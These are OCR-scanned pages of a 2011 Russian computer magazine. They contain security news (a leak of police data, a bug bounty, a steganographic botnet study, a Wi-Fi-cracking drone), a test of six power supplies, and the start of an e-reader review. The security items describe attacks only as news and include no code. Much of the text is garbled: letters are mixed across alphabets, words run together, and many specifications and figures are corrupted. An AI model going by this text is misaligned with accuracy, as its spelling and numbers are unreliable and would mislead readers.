ности хакерЬI не стали и ВЬiложили все даннЬiе в открЬIТЬIЙ

доступ . Дополнительно репутацию полиции подпортил и тот

факт, что у многих сотрудников обнаружились ненадежнЬiе,

простЬiе парали lобЬIЧНЬiе словарнЬiе слова, их имена или

номера значков!. Кстати, <<Ано н имусЬI» заявляют, что слив

инфь1- месть за недавний арест 14 человек, обвиненнЬiх в участии в атаках, совершеннЬiх в декабре и нарушивших

деятельность PayPal . Словом, <<Анонимус не прощает>> и н е

ленится об этом напоминать.

ГРЯДЕТМОБИЛЬНАЯОСОТ

MOZILLA. На форуме для разработчиков Mozilla появилось сообщение о том,

что в стане компании кипит

работа над проектом Boot to Gecko. Основываться ОС будет на движке Gecko, кото­рый используется и в других

продуктах Mozilla: например в Fiгefox'e и Thuпdeгbolt'e.

Акцент в Boot to Gecko будет сделан на веб-приложения,

написанныесприменением

HTML5.

012

Тем временем кто-то

слил на Pastebln данные о членах

nолиции BART IBay Агеа Rapid Tгansitl . Информация об име­нах, адресах и счетах

более чем 100 поли­цейских оказались в открытом доступе.

Однако, возможно, к

этoмyAnonymous'ы неnричастны

АУДИОСИСТЕМА EDIFIER С5 НАБОР КАЧЕСТВЕННОЙ 2.1 И 2.1+ АКУСТИКИ ДЛЯ КОМПЬЮТЕРА

родукция Edifieгyжe много лет пользуется в России

заслуженной п опулярностью, позтому мь1 не

могли пройти мимо новой модели- С5 . Новинка

представляетсобой мультимедийнЬiе колонки 2.1 и 2.1 + lc внешним усил ителем!. Система оснащена 8-дюймовЬiм сабвуфером и двухполоснЬiми сателлитами с экра н иро­

ваннЬiми 3.5-дюймовЬiми динамиками и 3/4-дюймовЬiми

ШеЛКОВЬIМИТВИТТерами.

Внешний усилитель может похвастаться встроеннЬiми

FМ-тюнером, USВ-разъемом и 50-кардридером . Вп олне

ожидаемо, что устройство умеет проигрЬi в ать МР3, WMA & РСМ с разнообразнЬiх носителей- навигация по меню и

каталогам осуществляется с помощью пульта дистанцион­

ного у п равления.

Техничес кие характеристики новинки:

ВЬiходная мощность: RMS 9Wx 2 + 35Wx 1ITHD=10%I Соотношение сигнал-шум: тмg5 д Б IAI Искажение : 0.5% Входное сопротивление: 1 ОК Dhm НизкочастотнЬIЙ динамик: В дюймов 1210 мм! , зкраниро­

ваннЬIЙ, 4 Ом .

СреднечастотнЬIЙ динамик : 3.5 дюйма 192 мм!, зкраниро­ваннЬiй, 4 Ом. ВЬi сокочастотнЬiйдинамик: 13 мм. с шелковой куполь­ной мембраной, зкранированнЬIЙ, 4 Ом .

Сабвуфер: 35 Вт.

3 МЛН ПРЕДУПРЕЖДЕНИЙ выдает ежедневно компания

Google, предостерегая о вне­дрении вредоносного ПО для

примерно 400 млн людей .

ТРИ САМЫХ ПЛОХО ЗАЩИ­

ЩЕННЫХ социальных сети,

пользующихся наибольшим

«успехом» у мошенников, ­

это Facebook, Twitteг и MySpace, сообщает компа­нияSорhоs.

ХАКЕР 10 /153/ 2011

Page 12: Хакер №10 (октябрь 2011)

MEGANEWS

FАСЕВООКНАГРАДИТХАКЕРОВ КРУПНЕЙШАЯ НА ПЛАНЕТЕ СОЦСЕТЬ УЧРЕДИЛА НАГРАДУЗАПОИСКУЯЗВИМОСТЕЙ

Сначала Facebook организовал соб­

ственный хакерекий конкурс, теперь

поощряет хакеров ... Так и до хакерекой конференции им . Марка недалеко

ледуяnримерудругихкруnныхигроковрынка,социальнаясеть

Fа сеЬооkрешилазаинтересоватьnотенциальныхловцовбаговрублем .

Точнее, долларом. Цукерберг и комnания учредили сnециальную nро­

грамму выnлат, nолучившую название Secuгity Bug Bounty. В рамкахданной

nрограммы , люди, нашедшиеуязвимости и ба г и в сервисах со циальн ой сети,

nолучатзаэтоденьги.Сколько?Зависитотсерьезностидырки.Стандартная

награда равняется 500 долларам , однако руководство Facebook сулит и более

круnн ое вознаграждение за серьезныеуязви мости. Точные суммы nри этом

неназываются,цен~таксказат~договорная.Основноетребованиекуязви­

мостям- возможность с их nомощью изменить nереанальные данные nоль­

зователей Facebook или же нарушить настройки безоnасности системы. Как

nравило, это касается ХSS-уязвимостей, в том числе уязвимости CSRF/XSRF, и

внедрения nроизвольнога nрограммнога кода . Разумеется, nрограмма выплат не

рас пространяетс я на уязвимости в сторонних приложениях, используемых или

исnользующих Facebook, а также на уязвимости , вызывающие отказ от обслу­

живания или рассылку спама с применением социальной инженерии . Сообщив

о найденной дырке, следует дать сотрудникам Facebook время для исnравления

проблемы и не торопиться обнародовать найденные недостатки. Ну и еще для nо­

лучения ден ег нужно проживать в стране, не попадающей под юрисдикцию США .

Сравнения ради напомню, что Mozilla сейчас готова за платить за уязвимость 3

ты с . долларов, а Google-yжe 3133,7. << Корnорация добра >> , кстати , уже потра­

тила на «оnлату ба го в >> более 300 ОООдолларов . Что-то жаднич ают Цукерберг и

сотоварищи.

ФЛЕШКИ-НАСТОЯЩЕЕ ЗЛОДЛЯ КОРПОРАЦИЙ

'Оо/о ОРГАНИЗАЦИЙ ИМЕЮТ ВОБОРОТЕОКОЛО50000USВ­УСТРОЙСТВ, 20о/о-ОКОЛО 100000УСТРОЙСТВ.ПОТЕРЯ ФЛЕШКИ С ВАЖНЫМИ ДАН­НЫМИ ЧРЕВАТА УЩЕРБОМ ПОЧТИ В 2,5 МЛН ДОЛЛАРОВ!

ХАКЕР 10 / 153/2011

ВЫХОД IPAD 3 ОТЛОЖЕН до следующего года, сообщаетиздание DigiTimes.

А ЕСЛИ СТЕГАНОГРАФИЯ? ИНТЕРЕСНОЕИССЛЕДОВАНИЕ

ОБ УХИЩРЕНИЯХ В БОТНЕТАХ

руппа программистов из Института информа­

ционны хтех нологий г. Индраnрастха !Индия! и

Университета Иллинойса ICШAI о публиковала по

адресу aгxiv. o гg/abs/1107.2031 результаты любопытного

исследования, доказывающего, что созда ние стега ногра­

фического ботнета, передающего информацию через со ци ­

альные сети , этодовольно nерсnективная и за ни мательная

штука. На всякий случай скажу, что сте ганография- это

наука о скрытой передаче информации путем сохранения в

тайне самогофакта передачи. Исследователи рассматри­

ваюттеоретическую программу Stegobot, которая, попав

на ком nьютер пользователя !обычным путем- наnример, кликом по нехорошей ссылке!, ведетсебя не совсем обычно.

Вместопередачиконфиденциальныхданныхнаnрямую,nо

старинке, Stegobot выжидает момент, когда жертва начнет

загружать в Сеть какие -либо изображения, и зашифровы­

ваетукраденные nарали и номера банковских карт в графи­

ческие файлы с nомощью стеганографии! К примеру, одна

залитая в Facebook JРЕG-картинка с разрешением 720х720

пи кселов !максимальный на Facebook размер! вмещает до

50 Кб информации без видимых последствий для качества

изображения. Когда такие зараженные картинки просмо­

тритпользовательдругогокомпьютера,инфицированного

Stegobot'oм, информация п ереза пишется в его фото. А ведь

в том же Facebook'e для этого достаточно лишь открыть про ­

файл другого юзера, так как в сацсети работает предвари­

тельная загрузка изображений .

Исследователи просчитали и даже смоделировали

ра с пространение информации через Stegobot на при мере

фотахости н га Flickг. Они эмулиравали сеть из 7200 связан­

ных друг с другом аккаунтов, при этом воспроизведя частоту

выкладывания фотографий . Спрятанные в изображениях

данные nопали в руки хозяев гипотетического ботнета

очень быстро. То есть это работает.

Кроме того, все это можно использовать и в обратном на­

правлении . Хозяева такого ботнетамогут вбросить в интер­

нет картинки с за шифрованным в них исполняемым кодом, и

очень скоро этот код попадет на зараженные компы, раздав

им соответствующи е << nриказы >> .

___. Украденные данные

Бот-мастер

___. Команды

Социальная сеть

[facebook]

___. Малварь

013

Page 13: Хакер №10 (октябрь 2011)

MEGANEWS РОССИЙСКАЯ КОМАНДАВПЕРВЫЕ ПОПАЛА В ФИНАЛ DEFCON CTF. Подробности на стр. 52

ПАТЕНТНЫЕ ВОЙНЫ DEFCON 19 ПРОТИВОСТОЯНИЕ GOOGLE И APPLE/MICROSOFТ НАБИРАЕТ ОБОРОТЫ КРУПНЕЙШАЯ В МИРЕХАК-КОНФЕРЕНЦИЯ

ПРОШЛА В ВЕГАСЕ

т ы наверняка слышал о том , что в последни е месяцы

вокру г мобильных устройств на платформе Android

и их производителей бурлят нешуточные страсти.

Стоитхотя бы вспомнить судебные иски компании Microsoft

к Samsung'y и Barnes & NоЫе, иски Apple к Н Т С' у и Motorola

и так дал ее. В связи с этим в СМИ уже давно заговорили о

настоя щи х nатентны х войнах !такая тактика, в общем-то,

не н ова ! , однако теперь и в Google открыто говорят о том же

самом. Главный юрист Google ДэвидДраммонд в офици­

альном благе компании заявил, что Microsoft, Apple и Oracle

организовали против Android'a целую камnанию, целью

которойявляетсявзвинтитьценынаустройстваназтой

платформ е . Как ты nонимаешь, основным оружием, которое

конкуренты и спользуют nротив Android 'a, являются патен­

ты . Суть сводится к тому, чтобы уличить Google в нарушении

этихсамыхnатентовизаставитьпроизводителейустройств

на Android'e выnлачивать отчисления патентодержателя м.

В своем посте Драммондособо подчеркнул , что Google

намерена за щищать платформу Android. Действительно ,

пора бы уже, ведь компания Apple уже добилась временного

судебного запрета на nродажи nланшета Samsung GalaxyTab

10.1 на территории стран Ев росаюза !правда, е го к моменту

публикации уже сняли! .

СЛУЧИЛОСЬ НЕВЕРОЯТНОЕ И

УДИВИТЕЛЬНОЕ--компания

Adobe, чей Flash уже давно стал неотъемлемой частью

Сети, наконец-то поддержа­

ла альтернативное ПО для

создания веб-анимации с

помощью открытых стан­

дартов, включая HTML5, CSSЗ и JavaScript. Бета­версия программы Adobe Edge уже вышла в свет, рас­пространяется бесплатно,

и ее уже можно загрузить с

сайта Adobe Labs.

011.

1000 патентов недавно

приобрела компания Gооglеукомпании IBM, причемдалеко не все из нихсоот~

ветствуютпрофилю компании. Просто в

наши времена у кого

больше патентов, тот

и круче

же традиционно конец августа ознаменовался nро­

шедшим вЛас-Вегасе DEFCON . Если ты не знаешь,

что это такое, то журнал, должно быть, попал к тебе

в руки по ошибке. Конференция ежегодно проводится в

Вегасе и соби раеттысячи человек со всего мира. Что забыли

там все зти люди? Они nриезжают на одно из крупнейших

хакерских собраний на нашем шарике, где помимодокладов

ежегодно nроходят и самые знаменитые хакерекие lwh itehatl

соревнования Capture The Flag . Что примечательно, в этом

году nрограмма конференции пополнилась курсами DefCon

Kids, рассчитанными на детей от8до 16лет, которые хотят

узна ть, как стать нравственными взломщиками. Детишек

учили открывать замки, «взламывать Google>> и использо­

вать шифрованное общение.

Н о п е р ейдем к взрослым. Описыватьдоклады и пре­

зентации не станем , к ним ты можешь самостоятельно при­

общиться по адресу defcon.org. А вотсамое прикольнее собы­

тие конфы назовем. Многострадальный дар о н Барр , бывший

генеральный директор HBGary, nри сутствовал на конферен­

цииnолутайн~таккакnолучилnисьменноеуведомлениеот

адвокатов HBGar y, в котором сообщалось, что они намерены

получить судебный запрет на е го выступление . В итоге Барр

не участвовал в за планированной па н ели «Whoeverf igh ts

monsters: confronting Aa ron Ваг г, Anonymous and ourse lves»

и дискуссию о LulzSec 'e, Anonymous'e, а также об отношении

американскихвоенныхккибервойнетолькослушал.

УСПЕШНОГО И ИЗВЕСТНОГО

хакера-самоучку наняла на

работу компания Samsuпg.

Стив <<Суапоgеп» Кондик

известен как создатель про­

шинки CyaпogenMod.

ОФИЦИАЛЬНАЯ БИО­

ГРАФИЯ главы Apple Стива Джобса выйдет раньше,

чем планировалось,-

в ноябре 2011 г. Книга получит название <<Steve Jobs:A Biogгaphy».

ХАКЕР 10/153/2011

Page 14: Хакер №10 (октябрь 2011)

MEGANEWS ПЕРВЫЙТРОЯНДЛЯ HOBOГOANDROID'A 2.3 (G ingeгMasteг) обнаружили в китайском Andгoid Maгketplace .

ХАКЕРСКИЙ БЕСПИЛОТНИК КАК ПОСТРОИТЬАРОН И С ЕГО ПОМОЩЬЮ ВЗЛОМАТЬ ТО,

ЧТОНЕДОСТУПНОСЗЕМЛИ

н а конференции BlackHat исследователи Майк Тз сси и Ричард Перкинс представили вторую версию беспилотного аппарата Wiгelessдeгial

Suгve i llaпce Platfoгm (беспроводной платформы воздушного наблюде­

ния) . Н а п омним, ч т о их первый дран, о котором мы писали год назад , мог облетать

территорию по заданному маршруту и собирать информацию о WiFi-ceтяx. За

основутогда была взята модель МиГ-23 , к которой добавили комп Via Epia Pico ITX РС (500 М Гц Via С7, 1 Гб RAM с Backtгack 4 на борту) и наладили систему автома­тического пилотиро вания Aгdu P i l ot. Система п оддерживала связ ь с н аземной

базовой станцией в режиме реального времени посредством РРР-оvе г-SSН­

тоннеля . Со второй версий беспилотника Тэсси и Перкинс зашли дальше . Взяв за

основу остатки военного беспилотного самолета, они построили модель весом

14 фунтов (6,35 к г ] и длиной в 6 футов (183 см ) . Ее оснастили Via Epia PX5000EG Pico ITX РС (500 М Гц Via С7, 1 Гб RAM), но теперьуже подуправлением Linux BackTгack 5. Также в комплекте второй версии вошла nрограмма для брутфорса со словарем

в 340 млн слов. Благодаря этомуWАSР стал способен не только использовать от­крытые хоте поты, но и выполнять ряддействий для взлома закрытых WiFi-ceтeй.

Дран связывается (: О станцией посредством 4G-донгла, и та, в свою очередь ,

осуществляет контроль над моделью при nомощи Google Eaгth и открытого ПО для автопилота. Та же базовая станция собирает данные, полученные от драна ,

и через VPN nерена п равляет их на сервер, который способен обработать более

сложные данные и осуществить более сложн ые вычисления. Беспилотн ик также

научился работать в качестве мобильной GSМ-станции . Совершенно неза-

метно для абонента он сnособен nринять на себя GSМ -соединение и с помощью

4G модуля перенаправить его no Vo iP. Таким образом, звонок не оборвется и его станет возможно записать. Раз говоры и SMS фиксируются во встроенной памяти аnпарата, чей объем равен 32 Г б.

Немаловажный факт-самолет работает от электрического двигателя, так

что услышать его почти невозможно уже на расстоянии порядка 15 м. И хотя пра­вила Федерального авиационного агентства за п рещают полеты таких устройств

на высоте более 400 футов [122 м), дра н , построен н ый Тз сси и Перкинсом , может

подниматься на высоту более 20 000 футо в [6096 м) .

Н а nостройку, тести рование и усовершенствова н ие этого апnарата у nе р кинса и Тэсси ушло 1300 часов. Денежные вложения разработчиков были не та к велики, как можно nодумать: они соста вили 6190 долларов

Применитыакой аnпарат можно очень п о-разному: во благо и не очень . Так,

он способен осуществлять о п ера ции no nассивному проелушиванию беспровод­

ных сетей и их взлому, спуфингу сотовых вышек, следить за сотовыми телефо­

нами и перехватыватыелефонные разговоры, эксфилырироватьданные или

nросто осуществлять видеонаблюдени е.

Официальный сайт проекта по-nрежнему находится п о адресу гabЬit-hole .oгg .

Там ты найдешь м ножество фотографий, видео, п резе нта ции с Black Hat 2011 и DEFCON 19, а также подробный раздел атом, как собратьтакую же штуковину свои­

ми руками . По словам Перкинса , <<Чтоб ы создать такую модель, не нужна научная

степень >>. Кроме того, все комплектующие идетали можно свободно приобрести в

ма газине .

1

XSOUND OTWINSTON XS Этим летом WinstonXS nредставил эксклю­

зивную nлощадку XSoundBaг на леген­

дарном британском ореnа i г-фестивале

Winston Global Gatheгing Fгeedom Music, который состоялся 16 июля 201 1 года nод Санкт-Петербургом. Более 30 000 человек собрались на данное мероприятие, чтобы

услышать сеты от лучших диджеев мира .

ХSоundВагнаходилсявсамом эnицентре

фестиваля. Внутри двухэтажного объекта , \ выполненного в эстетике настоящего ночно\о

+--------

клуба с модным дизайном и интерактивным

контентом, располагались chillout-зoнa, бар­

ная стойка с необычным коктейльным меню и

инновационное пространство 30-mappiпg, где

каждый мог попробовать себя в роли DVJ. После остановки на Winston Global Gatheгiпg Fгeedom Music вечеринки XSound возвращаются натанцполы лучшихроссийских клубов. В новом

кл б м.сноне~оundпредставиткиловатты

артистов и диджеев,за расписанием которых

можно следить на сайте www.winstonxs.гu.

~МИНЗДРАВСОЦРАЗВИТИЯ РОССИИ ПРЕДУПРЕЖдАЕТ: W КУРЕНИЕ ВРЕДИТ ВАШЕМУ ЗДОРОВЬЮ

Page 15: Хакер №10 (октябрь 2011)

FERRUM Алексей Горбунов

... П ТАИТЕСЬ ПРАВИЛЬНО! ТЕСТИРОВАНИЕБЛОКОВПИТАНИЯ CTAHДAPTABOPLUSGOLO

Что нужнодля сборки продвинутого игрового компьютера? Качественная мате­

ринская плата, современный процессор, побольше памяти , видеокарта помощнее,

быстрый и вместительный жесткий диск? Несомненно, все это должно быть упако ­

вано в красивый и просторный корпус . Но важно не забывать, что главнейший ком­

понент будущей системы- это блок питания. Именно он будет снабжать энергией

твоего игрового «монстра». Мощные конфигурации отличаются повышенными

требованиями к питанию, особенно это касается прожорливых видео карт, а также

связок SLI и CгossFiгeX . Отсюда вывод: подходить к выбору БП надо с умом.

МЕТОДИКАТЕСТИРОВАНИЯ Все испытуемые блоки п и тания прошл и тес ты на

с тенде D-RAM DBS-2200 от ком п а ни и FSP. Ко н ­

структивноо н сос тоитиз кол одоксра зъемам и,

куда п одкл ючаются к абели от БП , н агрузоч н о го

бл ока, охлаждаемо го при помощи вентил ято р ов,

п ерекл ючателей для выста вл е н иясилытокапо

осн овны м линия м и п а н ел и и ндикации н а п ряже­

н ия . Пр и помощи да нно го стенда можно нагрузить

блок пита н ия мощностью до 850 Вт.

Тесты проводились последующей схеме .

П е рекл ючателямиустанавл иваем для линий+ 12V

п отребляемую мощность, ра вную 100 Вт. Далее

последо вател ьн о п овышаем нагрузку на л и н и я х

+З , ЗV и +5V с ша гом 20 Вт. Н а п а н ел и и ндика ции

016

наблюдаем реальныезначен ия нап ряжений поли­

ниям , которыеиза писываем . Затемувел ичи ваем

п отребляемую мощность на л иниях + 12V до 200 Вт и

п о вто ряем про цессзаново.Пр едел ами о гра н ич е­

ни йявляютсязначениямакси мальнойкомбиниро­

ванной нагрузкиукаждо гоизблоков пита н ия.

Резул ьтаты ис п ытаний -это процентные откло ­

н ения на п ряжения по каждой иэ осно в ных л и н ий:

+З,ЗV, +5V, +12V. Чем мен ьше раз н ица между

замерен н ым и идеальным значен иями напряже­

ния, тем лучше : значит, блок питания эффективно

расп ределя е< нагрузку и н е проседает. Также оце­

ни вались:комплектпоста в ки,оснащениетеми

или иными разъемами для подключения, уровень

шумаинагревкорпусаблокапита н ия .

Cooler Masteг Silent Рго Gold 700W

Corsair Professional Seгies Gold АХ750

ENERMAX MODU87+ BOOW

FSP AURUM GOLD 600

FSP AURUM GOLD 700

Thermaltake Toughpower Grand 750W

ХАКЕР 10/153/2011

Page 16: Хакер №10 (октябрь 2011)

COOLER MASTERSILENT PROGOLD700W

ачинаем с блока nитания Silent Рго Gold 700Wот комnании

Сооlег Masteг. Принадлежность к золотому сертификату

80 PLUS. Блок nитания модульный и оснащен встроенным

хвостом из nраводав с разъемами 20+4-nин для материнской nлаты,

4+4-nиндляnроцессораи6-nиндлявидеокарты . Комnлектпоставки

включаетвсе остальные кабели для nитания комnонентов системы,

уnакованные в аккуратный чехол, несколько стяжек-лиnучекдля nро­

вода в, креnежные винты, инструкцию и декоративную наклейку.

Мощность Silent Рго Gold 700W составляет 700 Вт, заявленный макси-

мальный ток по линии+ 12V может достигать 56 А 1672 Вт]. Охлаждается 11>

блок nитания nри nомощи 120 мм вентилятора с автоматическим уnрав ­

лением. По результатам исnытаний Silent Рго Gold 700W nродемонстри­

ровал nолную стабильность во всех режимах нагрузки.

Максимальные отклонения nоказателей по линии +З,ЗV достигли

лишь 1%, а по каналам +12Vи +5Vуложились в 2%. Все время, nока шли

тесты,шумотвентилятораблокаnитанияоставалсяумеренным,даже

низким. Сам БП на ~щуnь был чутьтеnлы м, и н е более того.

Питайтес ь правильн о !

CORSAIR PROFESSIONAL SERIESGOLDAX750

гofessional Seгies Gold АХ750 несколько выбивается из нашей

nафосной комnании своим строгим, аскетичным видом. Этот

блок nитания интересен nрежде всего тем, что он nолностью

модульный: nравадов из него не выходит вообще никаких , только разъ­

емы. АХ750 идет в комnлекте с набором кабелей lзаботливоукутанных

в чехол на лиnучке], инструкцией, винтиками и стяжками для nроводов.

Часть кабелей ISATA и Molex] сделана nлоскими, как и у nр едыдущего

БП отСооlег Masteг. В nроцессе nодключения кабелей мы столкнулись

с nроблемой-nолное отсутствие каких-либо nодnисей к разъемам

на корnусе БП или хотя бы цветового их разделения. АХ750 сnособен

выдать 750 Вт мощности итеоретически обесnечить ток в 62 А 1744 Вт]

nолинии + 12V. С охлаждением здесь сnравляется 120 мм вентилятор.

Результаты тестовАХ750 говорятсами за себя-nоказатели отличные.

Отклонения в nределах 2% по всем линиям.

Вентилятор АХ750 не вращается, nока загрузка БП составляет

меньше 20%, nри нагрузке от 20 до 50% он работает в тихом режиме

и только ближе к 100% начинает раскручиваться, но услышать его

nроблематично .

ВЕНТИЛЯТОР ВОО&ЩЕ НЕ

ВРАЩАЕТСЯ, ПОКАЗАГРУЗКА &П

СОСТАВЛЯЕТ МЕНЬШЕ 20°/о

ХАКЕР 10 / 153/2011 017

Page 17: Хакер №10 (октябрь 2011)

FERRUM

ENERMAXMODU87+800W ODU87+ 800W-один из лучших блоков nитания ENERMAX. Корпус выnолнен из шероховатого металла и оборудован вентилято-

ром с <<з олотыми>> лоnастями . Модель, разумеется, модульная.

Комnлектация объемная: инструкция , кабели и сумочка к ним, креnежны е

винты , хомуты на лиnучке, стикер, а также интересная штука nод названием

CoгdGuaгd, которая закреnляется снаружи блока nитания и защелкивается

на сетевом шнуре, удержи вая его от выnадения из разъема БП. У MODU87+ 800W в наличии 4 виртуальныхлинии + 12V, по ЗОА на каждую, nри этом суммарная нагрузка по ним заявлена в 792 Вт. Перейдем к тестам . Здесь все 11>

замечательно: отклонения в 1-2%, и н е более того . Отдельно обратим вни-

мание на nоказатели линии +1 2V, которые большую часть времени остаются и вовсе идеальными. При оценкеуровня шума исключительно nоложитель-

ны е вnечатления остались от 140 мм вентилятора, который работаеттихо и эффектив но. Отметим, что nосле выключения системы вентилятор еще

какое-то время работает, ограждая комnоненты БП от резко го переnада

темnератур .

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

Мощность :

Заявленный КПД: Количестволиний + 12V Максимальные токи no линиям

Максимальная комбинированная нагрузка

ТилРFС Охлаждение Габариты Вес

018

700 Вт неменее90% единая линия

Cooler Master Silent Рго Gold 700W

+3,3V-22A, +5V-25A, + 12V-56 д, -12V-0,3A, +5Vsb-3,5A +3,3V & +5V-150 Вт, +12V-672 Вт

активный вентилятор 120 мм 1 60х 150х86мм

3,3 кг

FSPAURUM GOLD600 локnитанияуnакованвчернуюсзолотомкоробк~самон

оформлен в том же цветовом стиле. Комnлект nоставки состоит

и з: инструкции , сетевого шнура , стяжекдля nроводов, креnеж­

ных винтов да на клейки FSP. Примечательны скромные габариты БП: в длину он достигает всеголишь 150 мм и легко nомещается в стан­дартном корnусе, никому не мешая . Мощность FSPAURUM GOLD 600, как видно из названия, равна 600 Вт, заявленный КПДдостигает 90%,

<111 что соответствуетсертификату ВО PLUS Gold. Каждая из 4 виртуальных линий~2Vобесnечиваеттокдо18А .

По результатам тестов блок nитания n оказал себя на достойном

уровне . С одной стороны, отклонения по лини ям у него более явные, не­

жели у остальных исnытуемых, особенно п о каналу+5V, где они доходят

до 4%. С другой -все значения укладываются в доnустимые рамки. Чего, nравда, н е скажешь абуровне шума. При сильной загрузке гул

вентилятора отчетливо слышен. Затотеnл овые nоказатели в норме,

nерегрева не наблюдалось.

750Вт неменее90 % единая линия

CorsairProfessional Series Gold АХ750

+3,3V -25д, +5V-25A, + 12V-62A, -12V-0,5A, +5Vsb-3A +3,3V & +5V -125 Вт, +12V -744 Вт

активный вентилятор 120 мм 160х150х86мм 3,3 кг

800 Вт до93 % 4

ENERMAX MODU87+ SOOW

+3,3V -24д, +5V -24А, + 12V1-V4-30A, -12V -0,5д, +5Vsb-3A +3,3V & +5V -120 Вт, + 12V1 .. &+12V4-792Вт активный вентилятор 140 мм 175х150х86мм

2,9кг

ХАКЕР 10/ 153/2011

Page 18: Хакер №10 (октябрь 2011)

FSPAURUM GOLD700 азница между AURUM GOLD 700 и предыдущей моделью FSP из

н а ши х тестов минимальна и заключается в мощности, чи сле

разъемов для подключения устройств , н у и в цене , разумеется.

В остальном они братья-близнецы что по в н ешнему виду, что по разме-

рам !две самые компактные модели в нашем тесте!, что по содержимому

золотисто-черной упаковки . AURUM GOLD 700- блок питания стандартно­

готипасвозможностьюподключенияпарывидеокартспитаниемподвум

разъемам 6+2 рiп, семи устройств с коннектором SATA и четырех с Molex,

одного FDD. Заявленная мощность БП -700 Вт, токи по линиям +12Vте

же, что и у младшей модели, -1 8А, зато по линиям +З,ЗV и +5Vони выше и

до стигают 28А. За ох лаждени е отвечает 120 мм вентилятор на гидродина­

мическом подшипнике . Тесты AURUM GO LD 700 прошел уверенно, показав

чутьлучш ие результаты , нежели его младший собрат. Отклонения не

более 3% -все в пределах нормы. То же самое можно сказать и п ро нагрев :

теплый кор п ус БП при максимал ьной нагрузке-зто хорошо. Другое дело,

какой ценой это дается : вентилятор все-таки шум новат.

Питайтесь правильно!

THERMALTAKE TOUGHPOWERGRAND750W

heгmlatake ToughpoweгGгaпd 750Wупакова н в матовый черный

корпус с алой каймой, проходящей по периметрублока,- скром но

и изящно . По габаритам зто самый большой БП из наших испытуе-

мых-аж 180 мм длины! Комплектация yToughpoweгGгand 750W, nожалуй,

самая богатая : бархатная сумочка, в которой находится сам БП; меш очек

чуть поменьше-для аксессуаров; сумка на липучке -дл я провода в; кабе­

ли, стяжки-лиnучки в достатке, nластиковые зажимы в количестве 4 штук,

... инструкция, винтики, а также резиновые накладки на заднюю стенку БП .

600 Вт 90%

FSPAURUM GOLD600

4 +3,3V-24A.+5V-24A.+12V1-V4-18A. -12V-0,5A.+5Vsb-3,5A +З,ЗV & +5V -140 Вт, +12V1 & + 12V4- 540 Вт активный

вентилятор 120 мм 1 50х 1 40х86мм 1 ,9к г

ХАКЕР 10/153/2011

700 Вт 90%

FSPAURUM GOLD700

4 +3,3V-28A.+5V-28A.+12V1-V4-18A. -12V-0,5A.+5Vsb-3,5A +З,ЗV & +5V -160 Вт, +12V1 .. &+12V4-672Вт активный

вентилятор 120 мм 150х 140х86мм 1,9кг

750 Вт до92 %

ToughpoweгGгand 750W-модель с модульным nодключением. Заявлен ­

ная мощность-750 Вт, теоретический п ик по еди ной линии+ 12V-720 Вт.

Остужает Б П 140-миллиметровый вентилятор на двух шариковых подшиn­

никах и со слегка измененной формой лопастей, благодаря чемуобещано

снижениеуровня шума . П о итогам тестов выяснил ось, что обещание было

выnолнено: работаетТоughроwег Gгand 750Wтише воды, ниже тра вы,

оставаясь чуть теnлым. Пеказател и -отличные, отклонения не более 2% в

любом из режимов, а nолинии +5V -так и вовсе идеальные.

Thermaltake Toughpower Grand750W

ЛУЧШИЕ ИЗ РАВНЫХ

единаялиния

+3,3V-25A.+5V-25A.+12V-60A. -12V-0,8A.+5Vsb-ЗA

По совокупности параметров лучшая модель- это ENERMAX

MODU87+ BOOW. В его пользу говорят отличный ком пл ект nо­

ставки, высокий за па с п о мощности, россы п ь разъемовдля

подключения, великолепные результаты испытаний и ти ха я

работа . Правда, стаитон как скромный офисный П К, да и кор­

пуса потребует немаленького , но тут уж ничего не поделать.

Такие модели -удел энтузиастов, у которых и с деньгами, и

едарогими корпусами все в порядке . Если же бюджет не п о­

зволяетбольшихтрат, но есть потребность в качественном БП

с сертификатом ВО PLUS Gold, то стоитобратить внимание на

FSP FSPAURUM GO LD 700. Модульности н ет, зато есть честные

700В~выполнениевсехзаданных нормативовпонапряжен и­

ям, ком пактные размеры и очень приятная цена. I

+З,ЗV & +5V -150 Вт, +12V-720Вт активный вентилятор 140 мм 1 80х 1 50х86мм 2,5кг

019

Page 19: Хакер №10 (октябрь 2011)

FERRUM

• Wt!XLI?:r

02:00 .. aall

~ ш n ""11111 M }''IWJI

~ 1:.0) а AII ,]CQ !t•no+o•

~ в [О

ll pu80..11111 11 P1;JII11 II IC!jiO/iiL"II

rn g ... ,,.J•rto r;,,o•oto•

(}J liliШI .. ,.,... l.:a.1~.otY 1nop

Экран : 5дюймов, 800 х 480точек, се нсорный , цветной, LЕD-подсветка

Встроенная память: 4 Г б Карты памяти: до 32 Г б microSD Форматы текста: ТХТ, РОВ, HTML, PDF, FB 2, EPUB Форматы музыки: МРЗ, WMA, FLAC, ААС Форматы иэображений:JРЕG, ВМР, GIF Форматы видео:WМV, RM, AVI, RMVB, ЗGР, FLV, МР4, DAT, VOB, MPG, MPEG, MKV, MOV Интерфейсы : USB 2.0, audio-out Дополнительно: FМ-радио, диктофон, акселерометр

Габариты :1 48х90х11 мм

Вес : 285 г Комплектация : стилус,

кабельmiпi-USВ> USB, инструкция

020

Александр Михеев

С каждым годом количество карманных и не совсем устройств, способных

развлечь человека в дороге, растет прямо на глазах. А ведь когда-то с собой

брали разве что обычную бумажную книгу или какой-нибудь «тетрис» да кас­

сетный плеер . Теперь техника шагнула дальше : в поездке вы можете иметь

под рукой хоть тысячу книг, несколько сотен часов музыки , FМ-радио, какие­

нибудь незамысловатые игры и несколько кинофильмов- и всё это в одном

устройстве. Все вышеперечисленные возможности относятся и к новинке

WEXLER.BOOK Т5002, о которой сегодня и пойдет разговор.

ВОЛШЕБСТВО В КАРМАНЕ Инженерам из WEXLER удалось воплотить в жизнь очень интересную задумку- многоцелевой <<ком­

байн>> и практически даром . Н о обо всем по п оряд­

ку. Так называемая электронная книга внешне вы­

глядит как и многие ее собратья . Корпус сдела н из

пластика, н а нем расположены всего три к н опки .

Ди с плей WEXLER.BOOKT5002 не только цветной, но и се н сорный . Налицо большое преимущества

перед << читалками >> на ос нове e-i пk : возможност ь

смотреть фотографии и даже видео в неплохо м

качеств е. Однако сказывается цена уст ройства :

изображение н есколько <<шум новато >>. Окупается

зто большим числом поддерживаемы х форматов

видео, которые можно смотреть без предвари­

тельного конвертирова ния. Также к мулыимедий­

ным возможностям относится наличие FМ-радио

иплеера.Последнийподдерживаетнетолько

ши роко и с пользуемый формат МРЗ, но и даже

